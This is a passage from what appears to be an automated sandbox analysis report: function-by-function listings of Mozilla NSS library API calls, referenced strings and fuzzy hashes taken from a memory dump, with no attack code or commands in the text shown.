Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5E7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C5E7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C5E7EFA

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 9cc2cc640256b8a313a6705b79d281447bf9aca2f7b2f3a7acfe03224c82addb
Instruction ID: 365d92667c000b9131724919b4227b15a6e03497db2c820beb8dae1ae2f7db53
Opcode Fuzzy Hash: 9cc2cc640256b8a313a6705b79d281447bf9aca2f7b2f3a7acfe03224c82addb
Instruction Fuzzy Hash: 9D31B3B2E003155BEB10CB759C40B5B77E8AF49698F158864DD69EBB02F730EC04C7A5

Function 6C63DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C63D9E4,00000000), ref: 6C63DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C63D9E4,00000000), ref: 6C63DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C63D9E4,00000000), ref: 6C63DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C63DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63DCAD

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 9d5f15d98e91fa3d7a15cf18b9770fd3f76158d4af6cc44485a866d365f90727
Instruction ID: b8a75c0467db52c9a3e7e0953bfd354e5e0cb8c686b0277c74329fade99ceb20
Opcode Fuzzy Hash: 9d5f15d98e91fa3d7a15cf18b9770fd3f76158d4af6cc44485a866d365f90727
Instruction Fuzzy Hash: C8317EB5A202209FD710CF1DD880B96B7FCAF85358F149429E94CCBB01E772E944CBA9

Function 6C602E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C5FE728,?,00000038,?,?,00000000), ref: 6C602E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C602E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C602E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C602E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C602E9E
PR_Unlock.NSS3(?), ref: 6C602EAB
PR_Unlock.NSS3(?), ref: 6C602F0D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ce42488a00139ac4b336b6bc32a86a58d95196710f28be7982ad2880086098cd
Instruction ID: 3af922a32803271e72135682549bf539dd2fdcf4215e0b8b2022f027385673da
Opcode Fuzzy Hash: ce42488a00139ac4b336b6bc32a86a58d95196710f28be7982ad2880086098cd
Instruction Fuzzy Hash: 233108B6B00205ABEB04AF28DC848AAB775FF45359B048275EC1897B11EB31EC65C7E5

Function 6C621EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&bl,6C606295,?,00000000,?,00000001,S&bl,?), ref: 6C621ECB

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&bl,6C606295,?,00000000,?,00000001,S&bl,?), ref: 6C621EF1
EnterCriticalSection.KERNEL32(?), ref: 6C621F01
PR_SetError.NSS3(00000000,00000000), ref: 6C621F39

Part of subcall function 6C62FE20: TlsGetValue.KERNEL32(6C605ADC,?,00000000,00000001,?,?,00000000,?,6C5FBA55,?,?), ref: 6C62FE4B
Part of subcall function 6C62FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C62FE5F

PR_Unlock.NSS3(?), ref: 6C621F67

Strings

S&bl, xrefs: 6C621EA0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&bl
API String ID: 704537481-3623051604
Opcode ID: f37f3a48bed29d83d6b85f8f6b51790ecc284e0168fdac7dd45be23adc7aa418
Instruction ID: a4b32820bdaf05238e463558494e82928f5249568a900e57874f25ed6ff561f9
Opcode Fuzzy Hash: f37f3a48bed29d83d6b85f8f6b51790ecc284e0168fdac7dd45be23adc7aa418
Instruction Fuzzy Hash: 33215C71A08105ABDB10EE29EC44F9A37A9EF81369F154161FD2887701E736DD50CFE9

Function 6C64CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C64CD93,?), ref: 6C64CEEE

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C64CD93,?), ref: 6C64CEFC

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C64CD93,?), ref: 6C64CF0B

Part of subcall function 6C640840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6408B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C64CD93,?), ref: 6C64CF1D

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C64CD93,?), ref: 6C64CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C64CD93,?), ref: 6C64CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C64CD93,?,?,?,?,?,?,?,?,?,?,?,6C64CD93,?), ref: 6C64CF78

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: cfe55063506203eb6075722e296b187de80e4b0cb25dd0e3b3fa8b87ec2fe9e4
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: D511E7B1E002046BEB40AA667C41BAB75EC9F5564DF00C039EC0AD7B41FB65D91C86BA

Function 6C5F8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5F8C1B
EnterCriticalSection.KERNEL32 ref: 6C5F8C34
PL_ArenaAllocate.NSS3 ref: 6C5F8C65
PR_Unlock.NSS3 ref: 6C5F8C9C
PR_Unlock.NSS3 ref: 6C5F8CB6

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

Strings

KRAM, xrefs: 6C5F8C8F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 35870885ccc67265b9c9762bd98129790c5385facf8bf210d37b6fee64e2ab58
Instruction ID: c3b10349e958e25e9d5e8962d3469da267352527f6035fe9790daf4639905188
Opcode Fuzzy Hash: 35870885ccc67265b9c9762bd98129790c5385facf8bf210d37b6fee64e2ab58
Instruction Fuzzy Hash: 42219FB1A05A118FD704EF39C894559BBF4FF56304F05896ED8988B701EB31D88ACF96

Function 6C608E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C622E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5F4F1C), ref: 6C608EA2

Part of subcall function 6C62F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C62F854
Part of subcall function 6C62F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C62F868
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C62F882
Part of subcall function 6C62F820: free.MOZGLUE(04C483FF,?,?), ref: 6C62F889
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C62F8A4
Part of subcall function 6C62F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C62F8AB
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C62F8C9
Part of subcall function 6C62F820: free.MOZGLUE(280F10EC,?,?), ref: 6C62F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C622E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5F4F1C), ref: 6C608EC3
TlsGetValue.KERNEL32(?,?,?,6C622E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5F4F1C), ref: 6C608EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C622E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C608EF1
PR_Unlock.NSS3 ref: 6C608F20

Strings

b.bl, xrefs: 6C608E96, 6C608F25

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.bl
API String ID: 1978757487-2440539944
Opcode ID: 55a6d5bd290a7b972dd5955dca35bbf00ad4cd4c7606d5c220a47131ccc139aa
Instruction ID: 5b4cf745b76e46157c46a44c28f7eec37641cf5fa45ca1984b93423d4e84b55d
Opcode Fuzzy Hash: 55a6d5bd290a7b972dd5955dca35bbf00ad4cd4c7606d5c220a47131ccc139aa
Instruction Fuzzy Hash: 07218B70A097059BC704EF39D28419ABBF0FF49358F01456EE898ABB50DB30E854CBDA

Function 6C673E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C675B40: PR_GetIdentitiesLayer.NSS3 ref: 6C675B56

PR_EnterMonitor.NSS3(?), ref: 6C673E45

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

PR_EnterMonitor.NSS3(?), ref: 6C673E5C
PR_EnterMonitor.NSS3(?), ref: 6C673E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C673EA6

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_ExitMonitor.NSS3(?), ref: 6C673EC0
PR_ExitMonitor.NSS3(?), ref: 6C673ED7
PR_ExitMonitor.NSS3(?), ref: 6C673EEE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: f05c73eeb3010ed4c76a575695c2bf8be9f4f34ac14de3c6c144b410a62f6c96
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 4211A871510600AFD7315E69FC02BC777A1DF4135CF500C35E55986A20E633E82AC76E

Function 6C6F2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6F2CA0
PR_ExitMonitor.NSS3 ref: 6C6F2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C6F2CD1
strdup.MOZGLUE(?), ref: 6C6F2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C6F2D27

Strings

Loaded library %s (static lib), xrefs: 6C6F2D22

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 97d295807ef4cbae201bd135b448e548877bc1cffe5b0648b41c98b347833ca1
Instruction ID: fa264d5ce14fc6cfe215147ae2ac9f406ea34181eb077f88876cbdcb239cf63a
Opcode Fuzzy Hash: 97d295807ef4cbae201bd135b448e548877bc1cffe5b0648b41c98b347833ca1
Instruction Fuzzy Hash: 3C1126B06002908FEB10AF15DC1466637B6EB4630EF14813ED819C7B01DB31EC19CFAA

Function 6C5EBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5EBDCA

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5EBDDB

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5EBDEC

Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C5EBE03

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5EBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5EBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EBE3B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 258f86761faad76300a9ea1335ea192fd4a8de7337ae5971b5a033c9c2b0c37a
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: B601D6B5A4131176F71032667C01FAB7A484F9269EF144131FF099ABC2FB51E52982BE

Function 6C640FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B
TlsGetValue.KERNEL32(00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641044
free.MOZGLUE(00000000,?,00000800,6C5DEF74,00000000), ref: 6C641064

Strings

security, xrefs: 6C641025

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: f490ef9099443e18a48a4500285de9aa7feb4674e5fed0e32d11e70d64875820
Instruction ID: 40331487e4972b8f2fd2943e62598fc7973ecdafe915e778dfa7099afd8f91e2
Opcode Fuzzy Hash: f490ef9099443e18a48a4500285de9aa7feb4674e5fed0e32d11e70d64875820
Instruction Fuzzy Hash: C401483064025097E7207F3C8C04B863AA8BF43B4BF01C226E80896E51EF60C565DBDA

Function 6C671C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C671C74

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C671C92
free.MOZGLUE(?), ref: 6C671C99
DeleteCriticalSection.KERNEL32(?), ref: 6C671CCB
free.MOZGLUE(?), ref: 6C671CD2

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 4355caae9fd65bb610735748a40cf6b2f63dc44d9df230731b40fa8e18e0636e
Instruction ID: 66eb0080334c15cc11704f4ac741c384f1124a33f5593739316266141cdf9c35
Opcode Fuzzy Hash: 4355caae9fd65bb610735748a40cf6b2f63dc44d9df230731b40fa8e18e0636e
Instruction Fuzzy Hash: A20184B1F052205FDB30BFA49D0D74537B8670731EF504637E90EE6A40D725911447A9

Function 6C682E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C683046

Part of subcall function 6C66EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C657FFB), ref: 6C68312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C683154
